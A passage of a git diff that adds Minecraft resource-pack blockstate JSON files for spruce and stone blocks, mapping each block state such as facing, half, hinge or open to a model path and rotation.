"facing=east,half=lower,hinge=right,open=false": { + "model": "minecraft:block/spruce_door_bottom_hinge" + }, + "facing=east,half=lower,hinge=right,open=true": { + "model": "minecraft:block/spruce_door_bottom", + "y": 270 + }, + "facing=east,half=upper,hinge=left,open=false": { + "model": "minecraft:block/spruce_door_top" + }, + "facing=east,half=upper,hinge=left,open=true": { + "model": "minecraft:block/spruce_door_top_hinge", + "y": 90 + }, + "facing=east,half=upper,hinge=right,open=false": { + "model": "minecraft:block/spruce_door_top_hinge" + }, + "facing=east,half=upper,hinge=right,open=true": { + "model": "minecraft:block/spruce_door_top", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=false": { + "model": "minecraft:block/spruce_door_bottom", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=true": { + "model": "minecraft:block/spruce_door_bottom_hinge" + }, + "facing=north,half=lower,hinge=right,open=false": { + "model": "minecraft:block/spruce_door_bottom_hinge", + "y": 270 + }, + "facing=north,half=lower,hinge=right,open=true": { + "model": "minecraft:block/spruce_door_bottom", + "y": 180 + }, + "facing=north,half=upper,hinge=left,open=false": { + "model": "minecraft:block/spruce_door_top", + "y": 270 + }, + "facing=north,half=upper,hinge=left,open=true": { + "model": "minecraft:block/spruce_door_top_hinge" + }, + "facing=north,half=upper,hinge=right,open=false": { + "model": "minecraft:block/spruce_door_top_hinge", + "y": 270 + }, + "facing=north,half=upper,hinge=right,open=true": { + "model": "minecraft:block/spruce_door_top", + "y": 180 + }, + "facing=south,half=lower,hinge=left,open=false": { + "model": "minecraft:block/spruce_door_bottom", + "y": 90 + }, + "facing=south,half=lower,hinge=left,open=true": { + "model": "minecraft:block/spruce_door_bottom_hinge", + "y": 180 + }, + "facing=south,half=lower,hinge=right,open=false": { + "model": "minecraft:block/spruce_door_bottom_hinge", + "y": 90 + }, + "facing=south,half=lower,hinge=right,open=true": { + "model": "minecraft:block/spruce_door_bottom" + }, + "facing=south,half=upper,hinge=left,open=false": { + "model": "minecraft:block/spruce_door_top", + "y": 90 + }, + "facing=south,half=upper,hinge=left,open=true": { + "model": "minecraft:block/spruce_door_top_hinge", + "y": 180 + }, + "facing=south,half=upper,hinge=right,open=false": { + "model": "minecraft:block/spruce_door_top_hinge", + "y": 90 + }, + "facing=south,half=upper,hinge=right,open=true": { + "model": "minecraft:block/spruce_door_top" + }, + "facing=west,half=lower,hinge=left,open=false": { + "model": "minecraft:block/spruce_door_bottom", + "y": 180 + }, + "facing=west,half=lower,hinge=left,open=true": { + "model": "minecraft:block/spruce_door_bottom_hinge", + "y": 270 + }, + "facing=west,half=lower,hinge=right,open=false": { + "model": "minecraft:block/spruce_door_bottom_hinge", + "y": 180 + }, + "facing=west,half=lower,hinge=right,open=true": { + "model": "minecraft:block/spruce_door_bottom", + "y": 90 + }, + "facing=west,half=upper,hinge=left,open=false": { + "model": "minecraft:block/spruce_door_top", + "y": 180 + }, + "facing=west,half=upper,hinge=left,open=true": { + "model": "minecraft:block/spruce_door_top_hinge", + "y": 270 + }, + "facing=west,half=upper,hinge=right,open=false": { + "model": "minecraft:block/spruce_door_top_hinge", + "y": 180 + }, + "facing=west,half=upper,hinge=right,open=true": { + "model": "minecraft:block/spruce_door_top", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_fence.json b/src/assets/minecraft/blockstates/spruce_fence.json new file mode 100644 index 00000000..acbcbb3f --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_fence.json @@ -0,0 +1,48 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/spruce_fence_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/spruce_fence_side", + "uvlock": true + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/spruce_fence_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/spruce_fence_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/spruce_fence_side", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_fence_gate.json b/src/assets/minecraft/blockstates/spruce_fence_gate.json new file mode 100644 index 00000000..30def8bc --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_fence_gate.json @@ -0,0 +1,80 @@ +{ + "variants": { + "facing=east,in_wall=false,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/spruce_fence_gate" + }, + "facing=east,in_wall=false,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/spruce_fence_gate_open" + }, + "facing=east,in_wall=true,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/spruce_fence_gate_wall" + }, + "facing=east,in_wall=true,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/spruce_fence_gate_wall_open" + }, + "facing=north,in_wall=false,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/spruce_fence_gate" + }, + "facing=north,in_wall=false,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/spruce_fence_gate_open" + }, + "facing=north,in_wall=true,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/spruce_fence_gate_wall" + }, + "facing=north,in_wall=true,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/spruce_fence_gate_wall_open" + }, + "facing=south,in_wall=false,open=false": { + "uvlock": true, + "model": "minecraft:block/spruce_fence_gate" + }, + "facing=south,in_wall=false,open=true": { + "uvlock": true, + "model": "minecraft:block/spruce_fence_gate_open" + }, + "facing=south,in_wall=true,open=false": { + "uvlock": true, + "model": "minecraft:block/spruce_fence_gate_wall" + }, + "facing=south,in_wall=true,open=true": { + "uvlock": true, + "model": "minecraft:block/spruce_fence_gate_wall_open" + }, + "facing=west,in_wall=false,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/spruce_fence_gate" + }, + "facing=west,in_wall=false,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/spruce_fence_gate_open" + }, + "facing=west,in_wall=true,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/spruce_fence_gate_wall" + }, + "facing=west,in_wall=true,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/spruce_fence_gate_wall_open" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_leaves.json b/src/assets/minecraft/blockstates/spruce_leaves.json new file mode 100644 index 00000000..c823b6c7 --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_leaves.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/spruce_leaves" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_log.json b/src/assets/minecraft/blockstates/spruce_log.json new file mode 100644 index 00000000..126396ff --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_log.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/spruce_log_horizontal", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/spruce_log" + }, + "axis=z": { + "model": "minecraft:block/spruce_log_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_planks.json b/src/assets/minecraft/blockstates/spruce_planks.json new file mode 100644 index 00000000..3299e4be --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_planks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/spruce_planks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_pressure_plate.json b/src/assets/minecraft/blockstates/spruce_pressure_plate.json new file mode 100644 index 00000000..9fef636c --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_pressure_plate.json @@ -0,0 +1,10 @@ +{ + "variants": { + "powered=false": { + "model": "minecraft:block/spruce_pressure_plate" + }, + "powered=true": { + "model": "minecraft:block/spruce_pressure_plate_down" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_sapling.json b/src/assets/minecraft/blockstates/spruce_sapling.json new file mode 100644 index 00000000..acecf89b --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_sapling.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/spruce_sapling" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_sign.json b/src/assets/minecraft/blockstates/spruce_sign.json new file mode 100644 index 00000000..ca088345 --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/spruce_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_slab.json b/src/assets/minecraft/blockstates/spruce_slab.json new file mode 100644 index 00000000..c06bc123 --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/spruce_slab" + }, + "type=double": { + "model": "minecraft:block/spruce_planks" + }, + "type=top": { + "model": "minecraft:block/spruce_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_stairs.json b/src/assets/minecraft/blockstates/spruce_stairs.json new file mode 100644 index 00000000..c1e6d86d --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/spruce_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/spruce_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/spruce_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/spruce_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/spruce_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/spruce_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/spruce_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/spruce_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/spruce_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/spruce_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/spruce_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/spruce_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/spruce_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/spruce_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/spruce_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/spruce_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/spruce_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/spruce_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/spruce_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/spruce_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/spruce_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/spruce_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/spruce_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/spruce_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/spruce_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/spruce_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/spruce_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/spruce_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/spruce_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/spruce_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/spruce_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/spruce_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/spruce_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/spruce_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/spruce_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/spruce_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/spruce_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/spruce_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/spruce_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/spruce_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_trapdoor.json b/src/assets/minecraft/blockstates/spruce_trapdoor.json new file mode 100644 index 00000000..8aa277c2 --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_trapdoor.json @@ -0,0 +1,69 @@ +{ + "variants": { + "facing=east,half=bottom,open=false": { + "model": "minecraft:block/spruce_trapdoor_bottom", + "y": 90 + }, + "facing=east,half=bottom,open=true": { + "model": "minecraft:block/spruce_trapdoor_open", + "y": 90 + }, + "facing=east,half=top,open=false": { + "model": "minecraft:block/spruce_trapdoor_top", + "y": 90 + }, + "facing=east,half=top,open=true": { + "model": "minecraft:block/spruce_trapdoor_open", + "x": 180, + "y": 270 + }, + "facing=north,half=bottom,open=false": { + "model": "minecraft:block/spruce_trapdoor_bottom" + }, + "facing=north,half=bottom,open=true": { + "model": "minecraft:block/spruce_trapdoor_open" + }, + "facing=north,half=top,open=false": { + "model": "minecraft:block/spruce_trapdoor_top" + }, + "facing=north,half=top,open=true": { + "model": "minecraft:block/spruce_trapdoor_open", + "x": 180, + "y": 180 + }, + "facing=south,half=bottom,open=false": { + "model": "minecraft:block/spruce_trapdoor_bottom", + "y": 180 + }, + "facing=south,half=bottom,open=true": { + "model": "minecraft:block/spruce_trapdoor_open", + "y": 180 + }, + "facing=south,half=top,open=false": { + "model": "minecraft:block/spruce_trapdoor_top", + "y": 180 + }, + "facing=south,half=top,open=true": { + "model": "minecraft:block/spruce_trapdoor_open", + "x": 180, + "y": 0 + }, + "facing=west,half=bottom,open=false": { + "model": "minecraft:block/spruce_trapdoor_bottom", + "y": 270 + }, + "facing=west,half=bottom,open=true": { + "model": "minecraft:block/spruce_trapdoor_open", + "y": 270 + }, + "facing=west,half=top,open=false": { + "model": "minecraft:block/spruce_trapdoor_top", + "y": 270 + }, + "facing=west,half=top,open=true": { + "model": "minecraft:block/spruce_trapdoor_open", + "x": 180, + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_wall_sign.json b/src/assets/minecraft/blockstates/spruce_wall_sign.json new file mode 100644 index 00000000..ca088345 --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_wall_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/spruce_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/spruce_wood.json b/src/assets/minecraft/blockstates/spruce_wood.json new file mode 100644 index 00000000..19a9ffb2 --- /dev/null +++ b/src/assets/minecraft/blockstates/spruce_wood.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/spruce_wood", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/spruce_wood" + }, + "axis=z": { + "model": "minecraft:block/spruce_wood", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/sticky_piston.json b/src/assets/minecraft/blockstates/sticky_piston.json new file mode 100644 index 00000000..ecd7db03 --- /dev/null +++ b/src/assets/minecraft/blockstates/sticky_piston.json @@ -0,0 +1,50 @@ +{ + "variants": { + "extended=false,facing=down": { + "model": "minecraft:block/sticky_piston", + "x": 90 + }, + "extended=false,facing=east": { + "model": "minecraft:block/sticky_piston", + "y": 90 + }, + "extended=false,facing=north": { + "model": "minecraft:block/sticky_piston" + }, + "extended=false,facing=south": { + "model": "minecraft:block/sticky_piston", + "y": 180 + }, + "extended=false,facing=up": { + "model": "minecraft:block/sticky_piston", + "x": 270 + }, + "extended=false,facing=west": { + "model": "minecraft:block/sticky_piston", + "y": 270 + }, + "extended=true,facing=down": { + "model": "minecraft:block/piston_base", + "x": 90 + }, + "extended=true,facing=east": { + "model": "minecraft:block/piston_base", + "y": 90 + }, + "extended=true,facing=north": { + "model": "minecraft:block/piston_base" + }, + "extended=true,facing=south": { + "model": "minecraft:block/piston_base", + "y": 180 + }, + "extended=true,facing=up": { + "model": "minecraft:block/piston_base", + "x": 270 + }, + "extended=true,facing=west": { + "model": "minecraft:block/piston_base", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stone.json b/src/assets/minecraft/blockstates/stone.json new file mode 100644 index 00000000..c150ec29 --- /dev/null +++ b/src/assets/minecraft/blockstates/stone.json @@ -0,0 +1,20 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/stone" + }, + { + "model": "minecraft:block/stone_mirrored" + }, + { + "model": "minecraft:block/stone", + "y": 180 + }, + { + "model": "minecraft:block/stone_mirrored", + "y": 180 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stone_brick_slab.json b/src/assets/minecraft/blockstates/stone_brick_slab.json new file mode 100644 index 00000000..bfa864b9 --- /dev/null +++ b/src/assets/minecraft/blockstates/stone_brick_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/stone_brick_slab" + }, + "type=double": { + "model": "minecraft:block/stone_bricks" + }, + "type=top": { + "model": "minecraft:block/stone_brick_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stone_brick_stairs.json b/src/assets/minecraft/blockstates/stone_brick_stairs.json new file mode 100644 index 00000000..d96f57e3 --- /dev/null +++ b/src/assets/minecraft/blockstates/stone_brick_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/stone_brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/stone_brick_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/stone_brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/stone_brick_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/stone_brick_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/stone_brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/stone_brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/stone_brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/stone_brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/stone_brick_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/stone_brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/stone_brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/stone_brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/stone_brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/stone_brick_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/stone_brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/stone_brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/stone_brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/stone_brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/stone_brick_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/stone_brick_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/stone_brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/stone_brick_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/stone_brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/stone_brick_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/stone_brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/stone_brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/stone_brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/stone_brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/stone_brick_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/stone_brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/stone_brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/stone_brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/stone_brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/stone_brick_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/stone_brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/stone_brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/stone_brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/stone_brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/stone_brick_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stone_brick_wall.json b/src/assets/minecraft/blockstates/stone_brick_wall.json new file mode 100644 index 00000000..44ceb43b --- /dev/null +++ b/src/assets/minecraft/blockstates/stone_brick_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/stone_brick_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/stone_brick_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/stone_brick_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/stone_brick_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/stone_brick_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/stone_brick_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/stone_brick_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/stone_brick_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/stone_brick_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stone_bricks.json b/src/assets/minecraft/blockstates/stone_bricks.json new file mode 100644 index 00000000..8a05daf0 --- /dev/null +++ b/src/assets/minecraft/blockstates/stone_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/stone_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stone_button.json b/src/assets/minecraft/blockstates/stone_button.json new file mode 100644 index 00000000..3052191c --- /dev/null +++ b/src/assets/minecraft/blockstates/stone_button.json @@ -0,0 +1,118 @@ +{ + "variants": { + "face=ceiling,facing=east,powered=false": { + "model": "minecraft:block/stone_button", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=east,powered=true": { + "model": "minecraft:block/stone_button_pressed", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=north,powered=false": { + "model": "minecraft:block/stone_button", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=north,powered=true": { + "model": "minecraft:block/stone_button_pressed", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=south,powered=false": { + "model": "minecraft:block/stone_button", + "x": 180 + }, + "face=ceiling,facing=south,powered=true": { + "model": "minecraft:block/stone_button_pressed", + "x": 180 + }, + "face=ceiling,facing=west,powered=false": { + "model": "minecraft:block/stone_button", + "y": 90, + "x": 180 + }, + "face=ceiling,facing=west,powered=true": { + "model": "minecraft:block/stone_button_pressed", + "y": 90, + "x": 180 + }, + "face=floor,facing=east,powered=false": { + "model": "minecraft:block/stone_button", + "y": 90 + }, + "face=floor,facing=east,powered=true": { + "model": "minecraft:block/stone_button_pressed", + "y": 90 + }, + "face=floor,facing=north,powered=false": { + "model": "minecraft:block/stone_button" + }, + "face=floor,facing=north,powered=true": { + "model": "minecraft:block/stone_button_pressed" + }, + "face=floor,facing=south,powered=false": { + "model": "minecraft:block/stone_button", + "y": 180 + }, + "face=floor,facing=south,powered=true": { + "model": "minecraft:block/stone_button_pressed", + "y": 180 + }, + "face=floor,facing=west,powered=false": { + "model": "minecraft:block/stone_button", + "y": 270 + }, + "face=floor,facing=west,powered=true": { + "model": "minecraft:block/stone_button_pressed", + "y": 270 + }, + "face=wall,facing=east,powered=false": { + "model": "minecraft:block/stone_button", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=east,powered=true": { + "model": "minecraft:block/stone_button_pressed", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=false": { + "model": "minecraft:block/stone_button", + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=true": { + "model": "minecraft:block/stone_button_pressed", + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=false": { + "model": "minecraft:block/stone_button", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=true": { + "model": "minecraft:block/stone_button_pressed", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=false": { + "model": "minecraft:block/stone_button", + "y": 270, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=true": { + "model": "minecraft:block/stone_button_pressed", + "y": 270, + "x": 90, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stone_pressure_plate.json b/src/assets/minecraft/blockstates/stone_pressure_plate.json new file mode 100644 index 00000000..5be1b5ab --- /dev/null +++ b/src/assets/minecraft/blockstates/stone_pressure_plate.json @@ -0,0 +1,10 @@ +{ + "variants": { + "powered=false": { + "model": "minecraft:block/stone_pressure_plate" + }, + "powered=true": { + 